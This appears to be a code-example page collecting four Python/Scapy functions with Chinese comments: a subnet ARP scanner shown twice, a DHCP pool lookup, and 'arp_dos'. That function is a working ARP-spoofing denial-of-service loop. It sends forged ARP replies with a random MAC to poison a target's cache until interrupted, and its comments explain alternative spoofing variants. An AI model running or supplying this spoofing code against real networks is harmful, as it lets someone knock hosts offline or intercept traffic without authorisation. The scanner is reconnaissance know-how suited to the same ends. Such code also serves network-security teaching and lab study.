Example #1
0
def arp_scan(network_prefix, ifname):
	#localip = get_ip_address(ifname)
	#获取本机IP地址
	localip = get_ip_address_ifconfig(ifname)['ip_address']
	#获取本地MAC地址
	localmac = get_mac_address(ifname)
	#把网络前缀通过'.'分开,并且产生清单prefix
	prefix = network_prefix.split('.')
	#产生一个扫描设备的IP清单
	ip_list = []
	for i in range(254):#0到253
		ipno = prefix[0] + '.' + prefix[1] + '.' + prefix[2] + '.' + str(i+1)#需要把i+1,这样就是1-254
		ip_list.append(ipno) #把IP地址添加到扫描清单
	#发送ARP请求包,并等待响应结果##################################################################################################地址为清单######################配置超时时间################
	result_raw = srp(Ether(src=localmac, dst='FF:FF:FF:FF:FF:FF')/ARP(op=1, hwsrc=localmac, hwdst='00:00:00:00:00:00', psrc=localip, pdst=ip_list), iface = ifname, timeout = 1, verbose = False)
	#把响应的数据包对,产生为清单
	result_list = result_raw[0].res
	#扫描得到的IP和MAC地址对的清单
	IP_MAC_LIST = []
	for n in range(len(result_list)):#len(result_list)表示响应数据包对的数量
		IP = result_list[n][1][1].fields['psrc'] #提取响应包,ARP头部中的['psrc']字段,这是IP地址
		MAC = result_list[n][1][1].fields['hwsrc'] #提取响应包,ARP头部中的['hwsrc']字段,这是MAC地址
		IP_MAC = [IP, MAC] #把IP和MAC做成清单
		IP_MAC_LIST.append(IP_MAC) #把IP和MAC做成的清单,添加到IP_MAC_LIST这个上一级清单里边

	return IP_MAC_LIST #返回IP_MAC_LIST这个清单
Example #2
0
def arp_dos(ip_1, ip_2, ifname):
	global localip,localmac,ip_1_mac,ip_2_mac,g_ip_1,g_ip_2,g_ifname #申明全局变量
	g_ip_1 = ip_1 #为全局变量赋值,g_ip_1为被毒化ARP设备的IP地址
	g_ip_2 = ip_2 #为全局变量赋值,g_ip_2为本机伪装设备的IP地址
	g_ifname = ifname #为全局变量赋值,攻击使用的接口名字
	#localip = get_ip_address(ifname)
	#获取本机IP地址,并且赋值到全局变量localip
	localip = get_ip_address_ifconfig(ifname)['ip_address']
	#获取本机MAC地址,并且赋值到全局变量localmac
	localmac = GET_MAC(ifname)
	#获取ip_1的真实MAC地址
	ip_1_mac = get_arp(ip_1,ifname)
	#获取ip_2的真实MAC地址
	ip_2_mac = get_arp(ip_2,ifname)
	mac_random = Random_MAC()
	#引入信号处理机制,如果出现ctl+c(signal.SIGINT),使用sigint_handler这个方法进行处理
	signal.signal(signal.SIGINT,sigint_handler)
	while True:#一直攻击,直到ctl+c出现!!!
		#op=2,响应ARP
		#print(mac_random)
		sendp(Ether(src=mac_random, dst=ip_1_mac)/ARP(op=2, hwsrc=mac_random, hwdst=ip_1_mac, psrc=g_ip_2, pdst=g_ip_1), iface = g_ifname, verbose = False)
		#op=1,请求ARP
		#sendp(Ether(src=localmac, dst=ip_1_mac)/ARP(op=1, hwsrc=localmac, hwdst=ip_1_mac, psrc=g_ip_2, pdst=g_ip_1), iface = g_ifname, verbose = False)
		#以太网头部的src MAC地址与ARP数据部分的hwsrc MAC不匹配攻击效果相同
		#sendp(Ether(src=ip_1_mac, dst=ip_1_mac)/ARP(op=1, hwsrc=localmac, hwdst=ip_1_mac, psrc=g_ip_2, pdst=g_ip_1), iface = g_ifname, verbose = False)
		#如果采用dst为二层广播,会造成被伪装设备告警地址重叠,并且欺骗效果不稳定,容易抖动!
		print("发送ARP欺骗数据包!欺骗" + ip_1 + '随机MAC地址为' + ip_2 + '的MAC地址!!!')
		time.sleep(1)
Example #3
0
def find_pool_config(GIADDR):
	local_ip = get_ip_address_ifconfig('eno33554944')
	print(GIADDR)
	if GIADDR == '0.0.0.0':
		ip_sections = re.match('(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})', local_ip['ip_address']).groups()
		for pool in pools:
			if int(ip_sections[0]) == pool['Network'][0] and int(ip_sections[1]) == pool['Network'][1] and int(ip_sections[2]) == pool['Network'][2]:
				print('thos')
				return pool
	else:
		ip_sections = re.match('(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})', GIADDR).groups()
		for pool in pools:
			if int(ip_sections[0]) == pool['Network'][0] and int(ip_sections[1]) == pool['Network'][1] and int(ip_sections[2]) == pool['Network'][2]:
				return pool
Example #4
0
def arp_scan(network_prefix, ifname):
    #localip = get_ip_address(ifname)
    #获取本机IP地址
    localip = get_ip_address_ifconfig(ifname)['ip_address']
    #获取本地MAC地址
    localmac = GET_MAC(ifname)
    #把网络前缀通过'.'分开,并且产生清单prefix
    prefix = network_prefix.split('.')
    #产生一个扫描设备的IP清单
    ip_list = []
    for i in range(254):  #0到253
        ipno = prefix[0] + '.' + prefix[1] + '.' + prefix[2] + '.' + str(
            i + 1)  #需要把i+1,这样就是1-254
        ip_list.append(ipno)  #把IP地址添加到扫描清单
    #发送ARP请求包,并等待响应结果##################################################################################################地址为清单######################配置超时时间################
    result_raw = srp(Ether(src=localmac, dst='FF:FF:FF:FF:FF:FF') /
                     ARP(op=1,
                         hwsrc=localmac,
                         hwdst='00:00:00:00:00:00',
                         psrc=localip,
                         pdst=ip_list),
                     iface=ifname,
                     timeout=1,
                     verbose=False)
    #把响应的数据包对,产生为清单
    result_list = result_raw[0].res
    #扫描得到的IP和MAC地址对的清单
    IP_MAC_LIST = []
    for n in range(len(result_list)):  #len(result_list)表示响应数据包对的数量
        IP = result_list[n][1][1].fields[
            'psrc']  #提取响应包,ARP头部中的['psrc']字段,这是IP地址
        MAC = result_list[n][1][1].fields[
            'hwsrc']  #提取响应包,ARP头部中的['hwsrc']字段,这是MAC地址
        IP_MAC = [IP, MAC]  #把IP和MAC做成清单
        IP_MAC_LIST.append(IP_MAC)  #把IP和MAC做成的清单,添加到IP_MAC_LIST这个上一级清单里边

    return IP_MAC_LIST  #返回IP_MAC_LIST这个清单